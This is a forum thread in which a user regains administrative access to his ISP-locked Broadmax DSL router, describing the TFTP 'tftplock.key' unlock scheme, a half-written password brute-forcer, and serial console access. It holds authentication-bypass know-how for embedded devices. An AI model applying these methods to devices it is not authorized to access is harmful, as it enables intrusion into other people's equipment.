My isp has locked down the dsl router that they sold me and refuses to give me the username and password to access the advanced config pages on the embedded web server. The manufacturer does not respond to voicemail or email, and googling shows me that other users have had this problem but nobody has posted a solution. BTW, I will not be violating their tos by gaining access to the router functionality of that modem/router.

Here's what I know so far:

The modem is made by Broadmax. It's a Linkmax HSA300A-2 dsl modem/router. It has an embedded web server with a browser user interface. It also has a telnet interface which is disabled, and according to my googling, the rs232 port connector was just snapped off at the solder point. My last resort will be to re-solder the connector and try accessing the equipment that way.

There is an http authentication on the page in question (username/password). Per the product manual, the username is arbitrary and the password is 'broadmax'. That doesn't work. I've contacted a couple of ex-employees of my isp and they don't know the username and password. There's no point in brute forcing, because I don't have a fixed username, or even know if there is a username for that matter.

There is also an option to upgrade the firmware from one of the config pages. Before doing so, you're prompted to download a 'recovery.exe' file, which is a rar'ed executable with several gif's and web pages, as well as several text-based config files and a couple of binary looking files. There is a copy of MS's tftp.exe renamed broadmax.exe. Then there is a batch file that tftp's all of the files to the modem.

I don't know much about tftp, except that it's used to read/write to upgradeable firmware. There are only two functions (get and put), and sadly no directory listing function. The instructions for the recovery files say to change the ip to '172.16.0.253', and then run the batch file. I guess I should note that the modem's ip (for all customers) is 172.16.0.254. I'm not sure if the ip change is necessary though, because I'm not sure if the tftp service can be locked down to only accept connections from a specific ip.

Anyways, from looking at the batch file I see that it first tries to 'PUT tfptlock.key', then 'PUT tfptupdt.beg', then PUT all other files, then finishes off with 'PUT tftpupdt.rbt' and 'PUT tftpupdt.end'. The tftplock.key contains 'broadmax' with a crlf. The other tftpupdt.xxx files are empty files that apparently just signify the beginning and end of the firmware upgrade.

I made a sample batch file that just put the .key, .beg, .rbt, and .end files with nothing else. I get an error saying that the authentication to the server failed after the .key put statement and then an error saying that the server wasn't unlocked for write after the other ones. So, what I was thinking was coding a brute force program that wrote the .key file, ran the tftp PUT .key and tested the return, and so on. It wouldn't be that difficult to code, and I wouldn't think that the password would be longer than 8 characters (26 letters, 10 numbers -- 36 to the 8th right?). What I'd like to be certain of before I try it though is does the ip of the connecting system matter? If it doesn't then this is looks like my best shot at brute forcing that password. Granted it wouldn't be nearly as good as unlocking the browser user interface, but I think I've figured out the file format of the nat config file in the recovery files, and if that works then I can just tftp that file everytime that I make changes which would be very rare once I get it up and working. I could also fish around blindly by get'ing various files. I know it doesn't sound like much, but I'm shooting blind here.

If anyone else has some ideas, I'm all ears.


cheers,
will

(I posted this on the RET board before I discovered that woodmann's board was back online. Good job on that btw!)

Well, my first attempt would be to resolder that RS232 connector back on. Normally with equipment like that, should disaster strike (eg. it loses it's configuration completely, or the configuration gets corrupted), then the RS232 port is the only thing left that you can connect to. I've no idea on the protocol to talk to the type of router you mention, but there should be some kind of recovery software or "restore to manufacturer default" kind of software you should be able to run. Passwords for the serial interface are usually either non-existant, or whatever it states in the book and not changable (which would explain why they removed the plug).

As for your IP question, the connecting system doesn't matter, but they normally ask you to change the router to a specific IP so that there upgrade software talks to the correct box without asking you for the IP first, and prevents interruptions from other sources (personally, I think it's lazyness on there part, but hey...)

If you feel confident to setup the router from a manufactuer default setting, then I'd go with the serial port option, otherwise you can certainly try the TFTP option.

BTW, I don't know if this will apply to you, but on the routers i've played with, the web password has always been the same as the tftp password - so if you can break the tftp password, try and access the web interface using that same password and leave the username blank.

Squidge,

Maybe I should resolder the serial connector back on there. I myself haven't cracked the case to verify yet, but I found a post on another forum dated about a year ago that someone else was planning on trying that. I'll head over to radio shack after work. That's a ray of sunshine though! If it doesn't require a password, or if the default password of 'broadmax' cannot be changed, then that would explain why they were scared to leave it there.

Unfortunately, a hard reset will only restore the after-market firmware defaults (my isp). However, the default password for the browser user interface is the same as the tftplock.key password, so if I can brute that, maybe it'll work for the bui password as well. It would make sense.

Does anyone have any asm brute force algo (preferably masm)? If not, I'll just code my own.

thanks,
will

I might have misunderstood something here, but it seems like a lot of the questions in your original post could be answered quite easily by simply analyzing the traffic generated by a "normal" successful firmware upgrade, especially the authentication part. Or doesn't a "normal" firmware upgrade work either, is that what you're saying?


dELTA

No that works fine, but upgrades are run from an upgrade page on the embedded web server, and download files directly to the modem.

In my general area our phone company was passing out ADSL modems with routers built in. The routers were disabled, and the modem was missing an RJ45 port. But we could access the modems diagnostic pages and change a couple of obscure settings. This would add a few pages to the diagnostics, then we were able to see the settings for the router and firewall.

My router was missing an ethernet (rj45) connector as well for the rs232 interface (db9 to rj45). This weekend I soldered the missing connector back on, but I'm still working on the pinouts for the cable. From looking through the product manuals I can't find any software setting to disable the rs232 port, so that's a plus anyways. I got about half finished with the brute force program before I realized that figuring out the pinouts for that cable was a better plan of attack.

qweasdzxc,
The page with the advanced settings is password protected unfortunately.

When I get the pinouts I'll be posting all of the info somewhere so everybody else will have an easier time with this stuff.


will

I would have thought it would be standard serial comms - ie. pins 2 & 3 for data and 5 for ground. Maybe a full for handshaking, but most seem to be null modem type connection.

I've found the pinout, and can now access the console port cli. I've enabled telnet, and figured out some of the nat commands. The cli reference pdf on the manufacturer's website is seriously lacking. Fortunately, a lot of standard router commands (which aren't documented) work on this one. The good news is that I've also found (through muddying around in the router) the password for accessing the bui setup page. It's the same password used for telnet, and tftp. There's no built-in tftp authentication method, but in order to 'unlock' it for read/write access, you have to do a 'tftp put ip.ip.ip.ip tftplock.key'. That plaintext file has to have the correct password in it, or tftp returns an error. Oh, and after entering the corret password in the http authentication dialog for the setup page, it just kicks you back to the main page. Those assholes took out the bui interface for some of the advanced stuff. Luckily, I've now got the console and telnet interfaces working now.

cheers and thanks for the replies,
will